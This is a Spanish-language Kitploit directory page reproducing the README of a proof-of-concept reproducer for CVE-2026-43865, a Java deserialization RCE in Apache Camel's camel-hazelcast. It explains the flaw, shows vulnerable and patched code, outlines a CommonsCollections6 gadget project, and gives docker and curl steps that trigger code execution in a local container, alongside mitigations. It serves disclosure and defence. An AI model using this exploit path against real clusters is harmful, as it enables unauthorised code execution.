Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-43865 — Reproductor para CVE-2026-43865 — instancia predeterminada de Apache Camel camel-hazelcast con deserialización Java insegura (RCE) | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-43865
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHuboscerd/cve-2026-43865

CVE-2026-43865

Reproductor para CVE-2026-43865 — instancia predeterminada de Apache Camel camel-hazelcast con deserialización Java insegura (RCE)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

camel-hazelcast Reproductor de Deserialización Insegura de Instancia Predeterminada (CVE-2026-43865)

Este proyecto demuestra una vulnerabilidad de deserialización de Java en el componente camel-hazelcast de Apache Camel, rastreada como CVE-2026-43865. Cuando Camel construye la Config de Hazelcast por sí mismo —es decir, cuando no se proporciona una HazelcastInstance, hazelcastConfigUri o un bean Config referenciado por el usuario— no aplica ningún filtro de deserialización de Java (ni el JavaSerializationFilterConfig de Hazelcast ni un ObjectInputFilter del lado de Camel). Los objetos que llegan a través del protocolo de clúster de Hazelcast se deserializan dentro de la capa de serialización de Hazelcast (ObjectInputStream.readObject) sin restricciones de clase. Un atacante que pueda unirse o alcanzar el clúster puede publicar un objeto serializado manipulado que se deserializa en cada nodo Camel — ejecución remota de código, presente por defecto y sin necesidad de configurar un punto final de forma explícita.

Aviso: https://camel.apache.org/security/CVE-2026-43865.html

Resumen de la Vulnerabilidad

Esto es distinto de los avisos de la librería Hazelcast CVE-2016-10750 / CVE-2022-36418 (que conciernen al código propio de Hazelcast). Aquí la falla es que Camel no aplica la protección de deserialización que Hazelcast proporciona.

Detalles Técnicos

Cuando no se suministra ninguna instancia/configuración, HazelcastDefaultComponent construye la instancia a partir de la configuración estándar y no establece ningún filtro de serialización:

root@kitploit:~
// HazelcastDefaultComponent - afectado 4.18.2
if (hazelcastInstance == null && config == null) {
    config = new XmlConfigBuilder().build();
    config.getProperties().setProperty("hazelcast.version.check.enabled", "false");
    config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
    hzInstance = Hazelcast.newHazelcastInstance(config);   // sin JavaSerializationFilterConfig
}

La corrección inserta un filtro predeterminado (lista blanca java./javax./org.apache.camel., lista negra java.net.) en las instancias que Camel crea por sí mismo, dejando intactos los Config/HazelcastInstance suministrados por el usuario:

root@kitploit:~
// corregido 4.18.3 / 4.21.0
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
HazelcastSerializationFilterHelper.applyDefault(config);   // <-- añadido
hzInstance = Hazelcast.newHazelcastInstance(config);

Cualquier estructura que entregue el objeto deserializado a Camel lo desencadena. Este PoC utiliza un consumidor de cola en modo Poll, donde IQueue.poll() deserializa el elemento principal antes de que Camel lo enrute:

root@kitploit:~
// HazelcastQueueConsumer (modo Poll) - afectado
final Object body = queue.poll(config.getPollingTimeout(), TimeUnit.MILLISECONDS);  // readObject, sin filtro
exchange.getIn().setBody(body);

Ruta de la víctima

root@kitploit:~
from("hazelcast-queue:cve?queueConsumerMode=Poll")   // Camel construye la instancia predeterminada (sin filtro)
    .log("Consumido: ${body.class.name}");

Estructura del repositorio — atacante vs. víctima

La víctima es el nodo Camel (un miembro de Hazelcast). El atacante es cualquier parte que pueda alcanzar el clúster. Este PoC autocontenido ejecuta un cliente Hazelcast (el atacante) que se une al mismo clúster de un solo miembro (dev en 127.0.0.1:5701) y ofrece un gadget a la cola que consume la víctima.

root@kitploit:~
CVE-2026-43865/
├── pom.xml                 # camel-hazelcast 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile              # ejecuta la aplicación (--add-opens para construcción del gadget; dirección de clúster en loopback)
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # víctima: consumidor hazelcast-queue (instancia predeterminada)
    │   ├── Gadget.java             # Gadget CommonsCollections6, se activa durante la deserialización de Hazelcast
    │   └── ExploitController.java  # atacante: el cliente Hazelcast ofrece el gadget a la cola
    └── resources/
        └── application.properties

En un ataque real, los bytes serializados son producidos por el propio cliente/miembro Hazelcast del atacante; solo la víctima necesita la cadena de gadgets en su classpath. Este PoC construye el gadget en el mismo proceso, razón por la cual la JVM se ejecuta con --add-opens java.base/java.util=ALL-UNNAMED — un detalle de construcción del gadget, no relacionado con la vulnerabilidad.

Requisitos Previos

  • Java 17+ y Maven 3.8+
  • Docker (ejecuta el reproductor)

Pasos de Reproducción

Paso 1: Construir e iniciar el contenedor

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Paso 2: Desencadenar la deserialización (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Gadget ofrecido a la cola hazelcast 'cve' como cliente del clúster.
#    El queue.poll() del nodo Camel lo deserializó a través de Hazelcast (sin filtro).
#
#    >>> Prueba de RCE — /tmp/pwned existe: true

Paso 3: Verificar

root@kitploit:~
docker exec cve-2026-43865 ls -la /tmp/pwned

Limpieza

root@kitploit:~
docker compose down

Vectores de Ataque

Cualquier ruta Camel que utilice un consumidor hazelcast (hazelcast-topic, hazelcast-queue, hazelcast-seda, hazelcast-map, hazelcast-multimap, hazelcast-replicatedmap, hazelcast-list, hazelcast-set), o los repositorios HazelcastAggregationRepository / HazelcastIdempotentRepository, siempre que la instancia gestionada se cree a partir de la configuración predeterminada de Camel y un atacante pueda alcanzar el clúster.

Condiciones de Explotación

  1. Un consumidor/repositorio camel-hazelcast que utilice una instancia creada por Camel a partir de su configuración predeterminada (sin HazelcastInstance / hazelcastConfigUri / bean Config suministrados por el usuario).
  2. El atacante puede unirse o alcanzar el clúster Hazelcast (sin autenticación/TLS por defecto).
  3. Una librería gadget en el classpath (aquí commons-collections:3.2.1).

Corrección Recomendada

Actualizar a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23414), que aplica un JavaSerializationFilterConfig predeterminado de Hazelcast a las instancias que Camel crea a partir de su propia configuración predeterminada.

Mitigación

Hasta que se actualice:

  1. Configurar un filtro de deserialización en la instancia Hazelcast (JavaSerializationFilterConfig, o el filtro a nivel de JVM -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!*).
  2. Habilitar la autenticación y TLS del clúster Hazelcast para restringir quién puede alcanzar el clúster.
  3. Eliminar librerías gadget del classpath (actualizar/eliminar commons-collections 3.x y similares).

Aviso Legal

Este reproductor se proporciona solo para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.

Descargar herramienta
PropiedadValor
Componentecamel-hazelcast (cualquier consumidor + HazelcastAggregationRepository / HazelcastIdempotentRepository)
Clase Afectadaorg.apache.camel.component.hazelcast.HazelcastDefaultComponent (creación de instancia con configuración predeterminada)
CWECWE-502: Deserialización de Datos No Confiables
ImpactoEjecución Remota de Código (RCE) en cada nodo Camel del clúster
DisparadorUn consumidor/repositorio de hazelcast cuya instancia gestionada se crea a partir de la configuración predeterminada de Camel
Versiones AfectadasDesde 4.0.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0
Versiones Corregidas4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23414
Reportantegaorenyusi